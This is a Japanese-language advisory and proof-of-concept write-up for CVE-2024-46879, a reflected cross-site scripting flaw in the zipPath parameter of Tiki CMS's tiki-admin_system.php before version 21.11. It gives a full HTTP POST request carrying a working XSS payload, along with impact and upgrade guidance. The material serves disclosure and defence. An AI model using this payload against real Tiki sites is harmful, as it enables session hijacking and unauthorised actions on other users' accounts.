CVE-2024-46879 - Tiki CMS 反射型クロスサイトスクリプティング (XSS) の脆弱性

Tiki CMS - 'zipPath' パラメータの反射型クロスサイトスクリプティング (XSS) 脆弱性

免責事項

教育、研究、防御目的にのみ使用を意図しています。許可なくシステムに対して使用することは違法です。

概要

Tiki バージョン 21.11 より前の tiki-admin_system.php の POST リクエストデータ zipPath に、反射型クロスサイトスクリプティング (XSS) の脆弱性が存在します。この脆弱性により、攻撃者は巧妙に細工されたペイロードを介して任意の JavaScript コードを実行でき、機密情報へのアクセスや不正な操作が行われる可能性があります。

影響を受ける製品

製品: Tiki CMS Groupware
バージョン: 21.11 より前
コンポーネント: tiki-admin_system.php

脆弱性の詳細

この脆弱性は、tiki-admin_system.php における zipPath パラメータの入力サニタイズが不適切であることに起因します。ユーザーが指定した入力が十分なエンコーディングなしに HTTP レスポンスに反映されるため、注入された JavaScript が実行される可能性があります。

影響

認証された攻撃者が、巧妙に細工されたリクエストを介して別のユーザーのブラウザ上で任意の JavaScript を実行でき、セッションハイジャックや不正な操作につながる可能性があります。

概念実証 (PoC)

リクエスト

POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/ 
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15 
Accept: */* 
Content-Length: 94
Content-Type: application/x-www-form-urlencoded 

zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

poc

修復方法

この問題は Tiki CMS Groupware バージョン 21.11 で対処されています。ユーザーはこのバージョンまたはそれ以降のパッチ適用済みリリースにアップグレードすることをお勧めします。

ベンダーリファレンス: https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended

CVE-2024-46879-TikiCMS-XSS

人気